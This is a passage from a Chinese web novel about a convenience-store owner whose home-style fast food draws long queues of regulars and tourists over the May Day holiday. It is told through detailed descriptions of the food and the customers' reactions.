为了拍素材,他趁着菜还没端出来,试着询问排队的顾客:“你好,请问这里快餐真有那么好吃吗?如果满分一百分,你给多少分?” “你是来探店的?我拜托你们换个地方拍吧,本来老板 每天做的菜就不算多,她家店要是再火下去,感觉得早上来排队才能吃上了。“被询问的顾客没有回答问题,反而抱怨起来。 也不怪他抱怨,他算是便利店资深老顾客,明清欢刚开始做快餐时他就发现,那会他十一点多过来吃饭都没问题。 可现在呢?他但凡十一点前没过来排队,就大概率吃不上饭,问题是谁有那么多空闲能天天十点多就跑过来吃午饭,搞得他现在一个星期都吃不上几次。 拍视频的人被抱怨一通,觉得这素材不错,能从侧面体现出这里店的快餐有多抢手。 就在他还想继续询问时,明清欢端着菜从厨房出来。 “咦,老板怎么只有你一个人?” “老板,你一个人怎么忙得过来,要招人不?我酒店管理专业的!” “老板要招人?我可以啊!工资无所谓,管饭吃就好。” “我我我!老板看我,我正好要找工作。” 排在前面的顾客还只是看到明清欢一个人忙活,随口问一问她要不要招人,排在后面的顾客听见却以为明清欢要招人,立刻举着手毛遂自荐起来。 个别顾客或许只是凑热闹随口说说,但有不少吃货是真心想要竞争这个工作。 毕竟周瑶瑶之前在店里过得什么样的好日子,常来店里的老顾客可太清楚。 明清欢将饭菜全部端出来,见他们个个举着手说要来店里上班,笑着婉拒,表示目前没有招人的打算。 “瑶瑶只是请假回家了,没有辞职。” 今天的饭菜看起来一如既往地诱人,米饭粒粒分明,不会太干又不会太湿,看起来雪白晶莹。金黄酥脆的香酥鸡卖相十足,清炒菜心……还有油焖大虾,那红润油亮的色泽看着就让人想赶紧咬一口。 排在最前面的几名顾客视线不自觉落在油焖大虾上,望着虾壳上那晶莹的光泽,好像是披了层琉璃外衣一样,嘴巴里不自觉生出津液,恨不得现在就拿到快餐大吃特吃几口。 而后面的顾客闻着格外诱人的菜香,想到要是能每天照三顿吃这种饭菜,还有人不死心道:“老板我可以做兼职,不用给钱,管饭就好。” “对啊老板,你招兼职不?我可以在你缺人时来帮忙,管饭吃就行。” 说话的基本都是大学生,自从发现侠客便利店这家宝藏店铺后,只要上午没课就早早过来排队等吃饭。 “谢谢,等我忙不过来时会考虑的。”明清欢说话的同时手上也没闲着,已经打出去好几份饭菜。 拿到饭菜的顾客赶紧找位置坐下,随即迫不及待将筷子伸向油焖大虾。 油焖大虾卖相实在诱人,整体颜色偏红,配上姜丝与葱花点缀,让它看起来更有食欲。 至于香味,那更是不用说,热油将虾本身的鲜味完全激发出来,当顾客夹起虾送到唇边时,扑鼻而来的鲜香让虾还没吃进嘴,就已经先带来极致的嗅觉享受。 明清欢将虾处理得很干净,乱糟糟的虾腿全部去除,虾线更是通过开背弄干净,顾客食用时甚至不用动手剥壳,直接送到嘴边咬就行。 “好好吃啊!” 虾壳被煎得焦香酥脆,内里虾肉却是鲜嫩有弹性,配上绝佳的调味,吃起来咸鲜四溢。 洛淮青刚拿到快餐就听到其他顾客在夸好吃,脚步不自觉加快些,等坐下来就立刻夹起一个大虾。 入口先尝到酱汁咸鲜中带着丝丝甜味,色泽诱人的虾壳让人下意识不想浪费,轻轻一嘬,渗入虾壳缝隙中的鲜味落到味蕾上,鲜得人眉毛都要掉下来。 洛淮青还好,只是轻嘬一下虾壳就开始吃虾肉,他旁边,有不少顾客可能是觉得壳咬起来太香,直接连壳一起嚼着吃掉。 连吃几只虾,感受着虾肉入肚后,口中余味除了鲜还带着点焦糖的回甜,洛淮青不由替自家昨天才走的编辑感到可惜。 想到他在q市这些日子天天催命一样催自己更新,洛淮青觉得这么“好”的编辑,怎么能不回报一二,于是拿手机对着餐盘拍了几张照片,尤其对着油焖大虾连拍几张特写。 编辑此时正在吃午饭,本来就感觉今天点的外卖不是很好吃,等收到他发过来的图片时,手里的饭瞬间更加没滋味。 “好你个洛阳……” 编辑才不认为他是可惜自己走得早,没吃上油焖大虾,觉得分明是特意发照片过来炫耀顺便馋自己。 行啊,那就互相伤害吧! 编辑心里想着,直接回消息过去【今天码字了吗?码多少了?明天的更新搞定了吗?没有的话你怎么还吃得下饭啊!】 他想着互相伤害,然而洛淮青在给他发完照片就沉浸在美食中,压根没看他回过来的消息。 而另一边,周瑶瑶在家享受着啥也不干的摆烂假期,除了偶尔想念一下店里的伙食外,日子过得很愉快。 第26章 第26章红烧肉 当然,等周瑶瑶没事刷顾客群,从群里看到有人试图抢自己工作时,瞬间就愉快不起来了,当天晚上就给明清欢打电话。 见她故意发出“嘤嘤嘤”的假哭,明清欢语气透着无奈:“好了你别闹了,我又没说要招人。” 周瑶瑶当然知道她不会招新员工代替自己,跟她开会玩笑就提起在顾客群里看到的图片。 “老板你今天做的油焖大虾看起来好好吃啊……” “等你回来我再给你做。” 两个人一通电话聊了好久,从美食聊到小说,直到要挂电话前,周瑶瑶终于说起自己回来的时间。 听到她准备五一就回店里上班,明清欢有些不理解:“为什么不等五一后再来?” 她有原身记忆,自然知道“五一”和“十一”是每年大家都特别期待的两个小长假。 “老板你最近没刷视频吗?网上有好多人都说五一要来q市玩,说要尝尝咱们店的快餐,我估计等五一时肯定会有好多游客来凑热闹。” 最近没有好看的剧,周瑶瑶回家除了陪家人外,空余时间不是看小说就是刷视频。至于在老家的朋友,她不上班人家还得上班,也就偶尔等朋友下班能出去约个饭。 不过可能是嘴巴在便利店被明清欢做的一日三餐养叼了,她感觉老家那些以前觉得好吃的店,现在吃起来都不怎么样。 明清欢听到她是怕自己忙不过来才想赶紧回来,开口道:“没事,反正我每天都只做固定的量,人来得多来得少其实没太大区别,你可以在家多玩玩。” “五一到处都是人,也没啥好玩的,我还是先回去吧……” 见周瑶瑶坚持,明清欢便没再劝,只是让她回来时提前说一声。 四月三十号,周瑶瑶买了上午的票,十点半左右时终于回到便利店。走时她带着明清欢做的美食,回来时她手上东西同样不少,全是家乡特产。 发现排队都排到大门口来,拎着大包小包的周瑶瑶边往里面走边说:“麻烦让让。” “别插队啊!” “挤什么挤,去后面排队去。” 感觉有人从后面挤进来,正在排队的顾客很是不高兴。 “我没插队,我是店里的员工,你们让我进去。”周瑶瑶赶紧解释。 “现在插队还玩套路了?” 有老顾客吐槽完转头发现周瑶瑶那张熟悉的脸庞,才赶紧帮腔道:“她真是店里员工,还是赶紧让她进来给老板帮忙吧。” “瑶瑶你回来了,哪天你要真是不干了记得通知我,我给你接班。”有跟她关系挺熟悉的顾客笑着说。 “想得美,就冲我们老板的手艺,这个班我能上一辈子。” 在顾客们的让路下,周瑶瑶终于进入店里,把东西随手放好后,她还挺讲究地重新换件外套才进厨房。 “老板我回来了!” 厨房内浓郁的菜香简直能馋死个人,周瑶瑶深吸一口气,边声音上扬地打招呼边去洗手。 “回来了,有几个菜已经做好了,你先吃饭。”明清欢手里正在做油焖大虾。 周瑶瑶有轻微晕车,由于要坐车,今天早餐只喝了点白 粥,现在还真有点饿。 “那我不客气了。”她说完熟门熟路地拿碗打饭打菜,打好就直接往外走。 倒不是她想去馋顾客们,主要是刚刚进门时发现今天店内都挤满人,觉得还是得看着点比较好。 “你怎么自己先吃上了?” “我不吃饱点待会哪有力气给你们打饭。”周瑶瑶在家时早就馋明清欢手艺馋得不行,说完就大口吃起来。 她碗里有红烧排骨、青椒炒荷包蛋,手撕包菜,每样都特别美味,好吃到她脸差点没埋进碗里。 红烧排骨不用说,属于店里经常会出现的菜色,吃起来酥烂入味。 青椒炒荷包蛋里青椒爽嫩可口,荷包蛋被油煎得很香,咬下去带着被汤汁浸润的滋味和辣椒的辣意,吃起来又香又下饭。 手撕包菜是用五花肉配着炒出来,包菜吸收肉香,表面看起来青翠油亮,吃进嘴里脆嫩入味,咸鲜味加上菜的清爽,简直不要太开胃。 “瑶瑶。” 周瑶瑶吃得正香时,就听见厨房里传来明清欢喊她的声音,端着碗进去就立刻被往饭上盖满刚出锅的油焖大虾。 “哇哦,这个虾看起来真漂亮!” 红润油亮的大虾透着浓郁鲜味,周瑶瑶夸完就迫不及待吃起来,发现果然特别好吃。 “慢点吃。”明清欢见她连着虾壳一起咬,提醒一句后才继续忙活手里的事。 周瑶瑶是吃爽了,排队的顾客差点没被她馋死,大家想到她天天都能吃这么好,开始发自内心羡慕起来,羡慕她能在便利店里工作。 好在又过十几分钟后饭菜终于被端出来,已经排很久队的顾客们终于能吃上饭。 “我还以为视频里是滤镜的效果,没想到真的每道菜卖相都这么诱人,看来今天真是来对了。” “感觉每道菜看起来都又香又好吃,尤其是那道虾,我口水都要下来了。” “后面又来了好多人排队,幸好我做了攻略喊你早点来吧!” “是是是,还好你机智。” 今天店内来了不少新顾客,看起来都是在网上刷到视频慕名过来的游客。 来之前他们还有点担心网上视频会不会太夸张,但在看到菜被端出来时立刻就被卖相给吸引,觉得色和香如此完美的菜,味道肯定很好。 “太好吃了!怎么会有如此完美的油焖大虾,外焦里嫩就算了,调味更是绝了,我感觉连虾里的姜丝都好好吃!”这显然是个资深吃货,油焖大虾入口后,竟然好吃到连虾壳上沾的姜丝都舍不得浪费。 油焖大虾里的姜丝被用油将姜味都煎出来,此时姜丝那股姜辣味并不浓,表面焦焦的,加上吸满汤汁,味道确实还不错。 “这家菜真的好好吃啊!我从来没吃过这么美味的红烧排骨……” “为什么我家附近没有这么好吃的店,要是有的话,我能天天来吃。” “q市快餐都是这种水平的吗?如果是的话,我都不敢想这边的大酒店饭菜该有多美味。” 老顾客们就喜欢看到新顾客们一副没见过世面的样子,不过在听到有人认为q市快餐都是这个水平,甚至猜测大酒店会不会更好吃时,嘴角却是忍不住抽搐两下。 平常店内基本上都是一点后就没有顾客再继续上门,今天却是出现意外,从中午到下午,时不时就有人过来询问快餐。 “老板你看吧,明天才是五一,今天就有那么多人找过来,我感觉明天肯定会更热闹。”周瑶瑶想到刚刚上门来的那些人,觉得自己简直太有先见之明。 “没事,他们来就来。” 明清欢到底不是土生土长的现代人,此时还搞不清楚当代年轻人喜欢凑热闹的习惯。 不过很快她就会发现,自己实在太天真! 次日是五月一号,有些游客可能今天才出门,但还有一批游客却是昨天下午就出发,此时都已经到达目的地。 q市本身就是个旅游的好地方,侠客便利店在网上引起关注,立刻又吸引更多人来游玩。 某宾馆。 “现在才六点,这么早起来去打鬼吗?” “你忘了,我们昨天不是说好要去侠客便利店吃早餐吗?我在网上看过攻略了,它家早餐得早点去排队,不然就买不到了。” “那就不吃了,我还想睡……” “好不容易出来玩一躺,要是时间都睡过去多浪费啊,快起来吧沐沐。” 沐沐被她缠得没办法,只能叹着气起床,赶紧洗漱完陪她出门。 好在五月份的q市气温很舒适,不会太冷不会太热,早起倒是没那么难熬。两个人打车直奔侠客便利店,到店门口时才七点左右。 她们本来以为自己来得挺早,万万没想到,店里竟然已经排上队,而且人还不少。 “我闻见香味了,走,我们快去排队。” 两个人加入队伍后面,沐沐很快发现便利店只卖馒头和茶叶蛋,诧异道:“我们来的不是挺早吗?怎么只剩馒头和茶叶蛋吃了。” “不是啊,我看网上说它家早餐只卖馒头和茶叶蛋,好像偶尔有菜团子卖。” 听到朋友的话,沐沐忍不住转头盯着她看:“所以,你那么早把我叫起来,就是为了来吃馒头和茶叶蛋?” 不是她看不上馒头和茶叶蛋,主要是这两样东西在哪不能吃,她真不觉得值得自己早起跑一趟。 “我们打车费都够买好多馒头了!”沐沐吐槽道。 “可是这家馒头真的很好吃,我看网上吃过的人都说,是他们吃过最美味的馒头。” 说话间两个人已经排到前面,她们运气还不错,白馒头、玉米馒头和茶叶蛋都还有,于是每样馒头买了三个,还买了两个茶叶蛋,另外在店里买了两瓶奶。 来买早餐的大部分是附近居民,他们买完会直接拿回家,因此早上时店内桌子倒是很空。 沐沐二人买好早餐直接找位置坐下来,近距离之下,玉米特有的清香扑鼻而来,还有茶叶蛋更是香气浓郁。 “唔,沐沐你快尝尝,这个馒头真的好好吃啊!” 沐沐听到朋友的话,心里想着“馒头能有多好吃”,手却很诚实地拿起个玉米馒头。 玉米馒头表皮光滑,形状完美,卖相很是漂亮,一口咬下去,松软不失韧劲的口感很是美味,咀嚼间渐渐涌上来的甜味更是令人下意识想要追寻。 不知不觉间沐沐就将整个玉米馒头全部吃完,等她反应过来时自己都感觉有些惊讶。 想到来之前她还万般不乐意,沐沐有点小尴尬,清咳一声后说:“没想到这家馒头还真挺好吃……” 她朋友还在鼓着脸颊咀嚼清香满满的玉米馒头,压根顾不上翻旧账打趣她,闻言只一个劲点头。 见朋友一心只知道吃,沐沐不再说什么,拿起个白馒头吃起来,白馒头没有玉米清香,但浓郁的麦香同样很诱人。 “太好吃了!这馒头好吃到都不用配菜,空口我就能吃好几个!” 听到朋友的话,沐沐边点头边拿起茶叶蛋剥起来,发现这茶叶蛋煮得特别好,蛋黄没有煮老的同时却又保证味道都入进来,吃起来咸鲜中带着清爽茶香。 三个馒头加一个茶叶蛋下肚,再喝点奶润润喉,她们吃得倒是很饱,就是嘴巴还有点没吃够。 然而就在她们还想去买两个茶叶蛋时,店里别说茶叶蛋,就连馒头都卖光了。 “没事,我们还可以中午过来吃快餐,听说这家快餐巨巨巨好吃。” 沐沐想到连馒头都如此美味,觉得快餐肯定更好吃,明明刚吃饱,听到朋友的话却是忍不住舔起嘴唇来。 不过现在才八点多,离午饭时间还早,两个人坐在店里查看地图,想看看附近有没有好玩的地方能玩一会再过来吃午餐。 早餐卖完明清欢去厨房准备中午的快餐,周瑶瑶守在店里没什么事,见两个女生在讨论附近玩的地方,并问她头上来时,非常热心地给她们提建议。 “附近有个……” 就在三个女生聊得热火朝天时,祥云街上人越来越多,还有不少人直奔侠客便利店而来。 “就是这里了,店里果然有只八哥。” “听说这只八哥会说话,你好啊。” 有几个明显是游客打扮的人一进店就被鸟笼里的八哥给吸引,试图逗它说话。 八哥正低头梳理着羽毛,并没有搭理他们。 “它真的会说话吗?怎么一直不吭声?是不是要拿吃的哄?” “别人家的鸟还是别乱喂。” 一行人逗了会鸟,随即又在店里逛起来,逛完每个人拿了瓶饮料去柜台前结账。 周瑶瑶见顾客挑完东西,结束和那两个女生的聊天去柜台后算账。 “你好,请问你们家快餐几点开始卖?” “十一点过后。”周瑶瑶说完看出他们应该是特意过来吃饭的,又提醒一句,“你们如果要来吃饭的话,最好十点左右就来,不然可能要排好久的队。” 现在已经八点多,离十点只剩一个多小时,沐沐她们两个女生闻言,感觉这点时间根本不够出去玩。 “要不我们还是在店里等着吧,感觉一个多小时根本不够用。” “行,不如我们打会游戏。” 沐沐两个人最终还是决定吃过午餐再出去玩,而刚刚进来的那些人听完周瑶瑶的话,同样是这个打算。 九点刚过没多久,便利店靠墙那排桌子已经坐满人,与此同时,厨房里明清欢正在做红烧肉。 肥瘦相间的五花肉被切成整齐的块状,焯水加料酒、姜片去腥,捞出沥干后她开始炒糖色。 冰糖落入锅中发出清脆的声音,很快被慢慢融化。 熬糖这一步火候很重要,如果没有把握好,熬出来的糖会发苦,明清欢用小火慢炒,很快熬出琥珀色糖浆,随即下入五花肉将其炒上糖色。 随着五花肉每块都被染上均匀的焦糖色,肉香混着焦糖气息渐渐飘出来,而这还不是最香的,待到锅中加入葱、姜、八角、香叶等调料,又用生抽、老抽、料酒上色提味,一股更加浓郁的香味瞬间弥漫开来。 由于是快餐,全是肉的话成本就要上去,在调料入锅前,她往里加入提前切好的土豆块。 明清欢用锅铲翻炒均匀,加水大火烧开小火慢炖时,又往里面加了点自酿的米酒。 红烧肉在锅里慢慢炖着时,她转头就用另一口锅继续炒下一道菜,可以说时间利用得特别充分。 厨房里浓郁的香味对明清欢来说只是平常,然而飘进店里时,却是馋死个人。 “好香!我闻见红烧肉的味道了!” “忽然感觉好饿了,我好想吃饭……” “我也想吃饭,”有位顾客摸着肚子说完,忍不住抬头询问起来,“你好,请问还要多久能吃饭?” “再快也要十一点。” 周瑶瑶说完,又有一位顾客催道:“我要饿死了,就不能快一点吗?或者有什么菜做好了先卖给我吃点。” “现在才十点都不到……”周瑶瑶真心不想吐槽,但她觉得这帮顾客实在有点离谱,谁家好人十点就吃午饭。 显然,她是在便利店上班后三餐规律的生活过久了,忘记自己以前一到放假直接睡到十点多,直接早饭午饭一起吃的日子。 随着厨房里红烧肉被炖煮的时间越久,那股肉香混着香料的气息越来越浓,里面还夹杂着焦糖香和土豆香气,勾得人肚子的馋虫都出来。 红烧肉香味实在霸道,别说店内等着的顾客越闻越馋,就连街上路人闻见都有点走不动道,个别本该回家吃饭的人直接被香味吸引进来。 刚开始时进店的人还都抢着位置坐,随着入店的人越来越多,大家开始坐不住,拿东西占好位置后就赶紧抢着去排队。 “挤什么挤,我先过来的。” “你踩到我脚了!” 不是,菜都还没出锅,你们至于吗? 周瑶瑶见顾客们在店里推挤起来,瞬间坐不住,赶紧开口道:“你们小心点,要是待会把货架撞到了,小心我们老板生气不卖饭了。” 顾客们听到“不卖饭”警告,总算小事化了,好好把队排起来,没再你挤我,我推你。 “我正在排队准备吃午饭,给你看,店里人好多啊……”有人边排队边在打视频,跟朋友分享便利店的热闹。 “妈呀,怎么那么多人!这家店有那么好吃吗?你待会打完菜可得好好尝尝,要是真那么好吃,等我下次放假也去。” 十点多,老顾客们来到店里时,发现排队的人已经站到大门外,心里顿时咯噔一声,有点担心会不会今天能不能吃得上饭。 【怎么回事?店里今天怎么这么多人?[图片]】 有老顾客边赶紧站到队尾,边在群里发出疑惑的询问,毕竟平常这个时间过来,怎么都能站在店内排队,哪像今天,都排到大门外。 【什么情况?不是吃个饭你们用那么卷吗?十点就够早了,合着现在你们九点就过去不成?】 【不是吧,我还没下班,还想着待会提前半个小时溜出去买饭,现在这个情况,我还用去吗?】 【还去个鬼啊!现在队伍都排到街上去了,再过半个小时,黄花菜都凉了。】 【真是服了,这年头想吃个饭都那么难吗?@老板你真的不考虑多做点吗?】 群里不少老顾客看到店内排队的图片,除了个别人抱着侥幸心理还想碰碰运气,其他人已经放弃过去吃饭的想法。 十点半,排队的人已经在街上排出一条长龙,周瑶瑶眼见后面还有人来,赶紧去厨房内通知明清欢。 明清欢闻言微微蹙眉,估算着今天蒸的饭量和菜量开口道:“你去外面数一下人数,要是人特别多的话,还是提醒后面人不要排了,免得买不到浪费时间。” 由于店内是两个人打饭,所以队也排出了两条,周瑶瑶从厨房出来大概数了一下,发现店外的两条队伍比她想象的还要长,而且还陆续有人加入队尾,不由开口提醒几句。 “我们是从外地来的,听说你家快餐好吃特意来尝尝……” “麻烦让老板多做点可以吗?我真的好想尝尝被六叔夸上天的快餐到底有多好吃。” “我可以等的……” 排队的顾客中好多都是特意从外地过来的游客,人家甚至表示愿意排队慢慢等,搞得周瑶瑶也没办法,只能小跑回厨房。 就算顾客愿意等,但先不说店里食材有限,类似香酥鸭这种菜更是要提前腌制,根本没办法现做。 明清欢想想干脆道:“那你出去通知一声,就说今天人太多,为了不让外地游客白跑,每人只能买三菜一汤。” 既然都不肯走,她决定再多炒几个菜,另外限制一下顾客购买的量,争取让更多人吃到。 周瑶瑶出去通知时,新顾客还好,老顾客都拉长嗓子“啊”了一声,显然不是很乐意。 第27章 第27章糖三角 好在不用周瑶瑶开口安抚,很快有位老顾客先开口:“算了,人家外地人过来一趟不容易,我们还是发扬一下精神让让他们吧,反正咱们都在本地,想吃什么时候都能来。” 其实三菜一汤是完全够吃的,老顾客之所以不乐意,是因为有好多人现在都学聪明,中午一顿多买几个菜,留着晚上再吃一顿。 大部分老顾客们心里其实还是有些爽,觉得那帮外地人来旅游就好好玩,这附近又没有什么知名景点,干嘛非要跑到便利店跟他们抢饭吃。 不过随着明清欢开始把菜一样样往外端,很快大家注意力都转移到菜上。 其他先不说,光是那盆色泽红亮的红烧肉就看得顾客们大咽口水,恨不得直接用手抓一块塞进嘴里。 明清欢刀功好,每块红烧肉大小都像一个模子刻出来,肉上均匀裹着层酱汁散发出琥珀色光泽,就连里面的土豆块都看起来格外诱人。 今天除了红烧肉,还有脆皮香酥鸭、三杯鸡、辣椒炒肉、番茄炒蛋、蒜蓉油麦菜、酸辣土豆丝、三鲜汤。 当所有菜色整齐摆出来,红的黄的绿的,还 有白花花的大米饭,每样都光看着就让人食欲大开。 “要什么菜?” 明清欢和周瑶瑶将饭菜摆好,拿起勺子开始准备打菜。 排在最前面的顾客闻着菜香瞬间就纠结起来,感觉看哪个菜都好吃,哪个菜都想吃。 “我要一个红烧肉,再来个香酥鸭……” “快点行不行?还有那么多人等着。” “就是,你要不知道吃什么就先让我来点。” 见前面的人磨磨蹭蹭,排在后面的顾客忍不住催促起来。 被催促的顾客闻言,只能赶紧将剩下一菜一汤点完,端着饭菜给其他人让位。 在他端着餐盒去找位置坐时,还在排队的顾客视线不自觉看过来,在看到盘子里色泽红亮,晶莹剔透的红烧肉以及脆皮香酥鸭等菜色时,嘴里不自觉开始分泌口水。 “太难了,感觉还没吃上饭就要先被馋死了……” 沐沐话落,她朋友赞同地点头:“确实,还好我们没离开,不然哪能像现在一样排在前面。” “明明我们是来得最早的,都怪这些人太能抢位置了。”沐沐想到她们只是在位置上多坐了会,结果排队时就被七八个人抢到前面,觉得做人果然还是不能太矜持。 “没事,马上就要到我们了,你想好吃什么没?我准备点个红烧肉,还要个鸭,再点辣椒炒肉。” “你全吃肉啊?” “哪有,辣椒炒肉里不是有辣椒吗?而且我们可以点不同的菜换着吃嘛。” “好,红烧肉比较油,我们两个点一份就行,那我就点三杯鸡、番茄炒蛋和蒜蓉油麦菜,汤的话我们点一份一起喝吧。” 两个人商量完,很快就排到她们,她们直接报出菜名。 明清欢和周瑶瑶很快打好她们点的饭菜,还顺便提醒一句让她们小心拿好。 “谢谢。”沐沐道谢完,边跟朋友往桌子那边走边感叹,“这菜卖相好诱人啊,每道看起来都那么好吃,如果换个漂亮的盘子装,我感觉都可以放到大酒店里卖。” “是啊,尤其是红烧肉和脆皮香酥鸭,看得我口水都要下来,还有辣椒炒肉和蒜蓉油麦菜这几个菜,闻起来锅气十足,一看就是用新鲜食材现炒的。” 二人说完已经回到位置上坐下,拿起筷子就迫不及待先朝肉下手。 红烧肉的香味实在太霸道,虽然它表面的肥肉看起来油有点大,但对于已经被馋饿的人来说,却是特别有诱惑力。 沐沐和她朋友不约而同先吃了口红烧肉,舌尖先尝到表面浓郁的酱汁味,鲜、咸、香中带着点微微甜味。等牙齿咬下去,肥肉入口即化,瘦肉烂而不柴,咀嚼间肥肉的油脂和瘦肉融合,肉的咸鲜加上焦糖带来的甜味,好吃到让她们不自觉闭上双眼,认真品尝美味。 唔,太好吃了!简直是人间美味! 发现红烧肉吃起来肥而不腻,咸鲜味与甜味平衡得恰到好处,沐沐感觉就冲这口肉,这次q市之行就已经回本。 “怎么会有这么好吃的红烧肉!太香了!” 听到朋友边夸边又夹起一块肉,沐沐赶紧跟着往碗里夹了块,同时后悔起刚刚没点两份。 显然她朋友跟她有同样的想法,此时望着餐盘里最后一块红烧肉以及土豆,忍不住说:“早知道这红烧肉吃起来根本不腻人,我们就一人点一份了。” “是啊。”沐沐又咬一口肉,边吃边夸,“真的好好吃,也不知道是怎么做的,空口吃都不腻人,香得我刚刚差点咬到舌头。” 虽然红烧肉空口吃都没问题,但说完她们还是送了口饭进嘴,顿时发现配上米饭吃更加香。 两人用筷子分掉最后一块红烧肉,感觉还有点意犹未尽,只能夹着土豆再把汤汁拌进饭里。 她们还在认真拌饭时,隔壁桌传来一声感叹:“太好吃了,红烧肉香就算了,没想到里面的土豆也那么好吃!还好今天过来了,不然错过这么好吃的红烧肉该多遗憾啊!” 听到有人夸红烧肉里炖的土豆好吃,沐沐连土豆带饭吃了一口,眼睛瞬间就亮起来。 高温的炖煮将红烧肉里的油脂都炖进汤里,而汤又被土豆给吸收,此时土豆吃进嘴里软嫩鲜香,味道比红烧肉都不差什么。 土豆直接吃好吃,用筷子碾压成泥,配上米饭和红烧肉汤拌一拌,味道更是绝了。 老顾客还好,毕竟不是第一次吃,新顾客们打完饭后基本上都是先哐哐往嘴里塞菜,随即大呼小叫地发出感叹。 “红烧肉味道简直太绝了!就这个红烧肉我能吃两碗米饭!” “三杯鸡跟我以前吃的都不一样,鸡肉好香好嫩啊!” “这鸭子怎么会这么好吃,皮脆肉嫩,连骨头都是香的,我这辈子没吃过这么好吃的鸭!” “服了,我真是服了,怎么连油麦菜都这么好吃……” “这是快餐?我以前吃的怕都是假快餐吧!” “好好吃的酸辣土豆丝,吃起来脆脆的,又开胃又下饭。” “怪不得能吸引六叔过来拍视频,实在太好吃了,好吃到我都想在附近定居,天天过来吃饭。” 听到外地游客们发出没见识的声音,老顾客们炫耀道:“这算什么,你们是没吃过老板之前做的腌笃鲜,那叫一个鲜呐!还有香辣螺蛳,那个调味,简直绝了……” “老板做的黄豆烧鱼块、金沙玉米还有红烧排骨也特别好吃。” 听到老顾客们炫耀的声音,游客们心里很是羡慕,觉得怎么自己老家就没有这么好吃的店。 哪怕明清欢提前说好今天每人最多买三菜一汤,哪怕她还临时多炒了两个菜,等到快一点时,饭菜还是全部都要见底,而店里却还排着不少人。 “菜要卖完了,后面别排了。”明清欢其实二十多分钟前就已经提醒过,然而排队的人根本不听。 “别啊老板,闻过了你家饭菜的香味,我现在哪还吃得下别家的东西。” “我们好不容易过来一趟,老板你行行好,再去炒点菜吧。” “对,我们可以等的,老板你再炒点呗。” “今天已经多炒了两个菜,店里没什么食材剩下,你们明天再来吃吧。”明清欢是真没想到今天会有那么多人,而且为了吃排那么久都不走。 周瑶瑶看到她脸上无奈的表情,不由耸耸肩,用眼神对她说“看吧,我之前就说过今天人肯定特别多”。 随着最后几份饭菜都卖完,有些顾客只能选择离开,还有些人依旧不死心,撒娇卖萌地希望明清欢能再做点什么。 “老板求求了,哪怕你炒个饭也行啊,我已经饿得没力气了……” 明清欢实在拿他们没办法,见只剩下七八个顾客不肯走,干脆去厨房炒了锅蛋炒饭,又把留给她和周瑶瑶吃的红烧肉拿出一点,切碎盖在每份蛋炒饭上。 “哇!这蛋炒饭看着就好好吃啊!” 顾客们还真不是为了夸而夸,明清欢炒的蛋炒饭粒粒分明,每粒米上都均匀地裹着鸡蛋,看起来像是碎金盛在盘子里,尤其是上面还点缀着红烧肉碎,简直别提有多诱人。 店内还坐着好多正在吃快餐的顾客,闻着蛋炒饭的香味,忍不住开口:“老板我也想吃蛋炒饭……” 明清欢还没开口,端着蛋炒饭的人立刻望着他盘子里的大块红烧肉说:“那我们换?” “不换。”刚刚说话的顾客立刻拒绝,随即低头吃着香喷喷的红烧肉。 见他不肯换,端着蛋炒饭的人自己吃起来,一口炒饭下肚,不知道是不是饿了的缘故,只感觉蛋炒饭格外好吃,米香和蛋香味融合,配上肥而不腻的红烧肉,香得人脸上不自觉露出满足的表情。 “好好吃啊,可惜没来 早点……” 吃着香喷喷蛋炒饭的顾客们满足的同时又很是后悔,后悔没早点过来,不然就能吃到大块的红烧肉,还有香酥鸭和三杯鸡等好菜。 想到一个简简单单的蛋炒饭都如此美味,他们简直不敢想其他菜会有多好吃。 决定了,今晚直接在附近找个酒店住,明天早早过来排队,就不信还吃不到! 有几个顾客往嘴里扒着蛋炒饭,心里暗暗下决心。 跟顾客们比起来,周瑶瑶就要幸福得多,不光能吃到中午的所有菜色,甚至连蛋炒饭明清欢都特意给她留了一碗,高兴得她眼睛都弯起来。 在她端着午餐出来时,店里剩下的顾客都露出羡慕的表情,随即有人忍不住开口:“你们店里还缺人不?” 明清欢这会在厨房内,店里只有周瑶瑶,她本来正在就着红烧肉吃蛋炒饭,听到有人当面觊觎自己的工作,差点没被噎着。 她端起三鲜汤喝两口后,大声道:“不缺!” “不缺就不缺,你那么大声干嘛……”被她吓一跳的顾客说完,只能回味着嘴里的余味从店里离开,走的时候心里还在想明天要早点过来吃饭。 在发现“总有刁民想抢她工作”后,周瑶瑶心里有了危机感,刚吃完午饭就在店内转悠起来,一会整理货架,一会擦擦台面。 或许是假期的缘故,下午时来店里的人比平常多多了,有不少一看就是外地人,询问得知便利店只有中午卖饭后,他们本着来都来了的想法,买完东西就在店门口打卡拍照。 “老板,咱们店都快成网红店了。”周瑶瑶看到那些人一会站在店外各种拍照,不由对着明清欢说。 明清欢不理解自家店有什么好拍的,但选择尊重,甚至在有人提出让她帮忙拍照时,好脾气地走出去帮忙。 “老板,你好漂亮啊,而且身上有种特别的气质,我可以和你合个影吗?” 说话的女顾客刚刚在店里买了不少东西,就冲这点,明清欢也不会拒绝这点小要求。 看到她盈盈一笑地点头,那位女顾客立刻拿起手机和她自拍了一张,拍完望着屏幕越看越喜欢。 等拍照的顾客离开,周瑶瑶忽然在店内喊起来:“老板……” “怎么了?”明清欢转身走向她。 周瑶瑶指着被她整理出来的红糖道:“你看,这些红糖还有两个月不到就要过期了。” 店内有不少货品还是明老爷子在时进的,快要过期也很正常。 明清欢想到上次整理楼上仓库时好像里面还有红糖,立刻上去把箱子抱下来,结果就发现日期都是同一批。 “老板怎么办,这红糖能退货吗?”周瑶瑶询问。 便利店里买不完快过期的货物,如果跟供货商有协议,那卖不完是可以退的,但红糖保质期长,都不知道是明老爷子什么时候进的货,明清欢想想还是决定不折腾了,干脆直接趁着过期前全给用掉。 “啊?这么多红糖怎么用?我们俩天天喝也喝不完吧。”周瑶瑶道。 “可以做成糖三角。” 糖三角? 周瑶瑶听到糖三角想了一下,很快想起来是什么:“老板你要做糖三角吗?我好久没吃过这个了,你什么时候做?” 她上次吃糖三角还是在小时候,当然,倒不是长大后外面没有糖三角卖,而是随即年龄越来越大,她对早餐店卖的糖三角根本没什么想吃的欲望。 不过如果换成是老板做的,想到她连馒头都能做得那么香,周瑶瑶瞬间就期待起来。 “明天就做。” 左右做馒头也要发面,做糖三角不过额外调个糖馅,对明清欢来说顺手的事。 听到她明天就做糖三角,周瑶瑶立刻表示自己今晚住店里,明早起来给她帮忙。 当天下午,晚餐除了中午特意留出来的红烧肉外,明清欢还做了糖醋带鱼、炒莴笋丝、番茄鸡蛋汤。 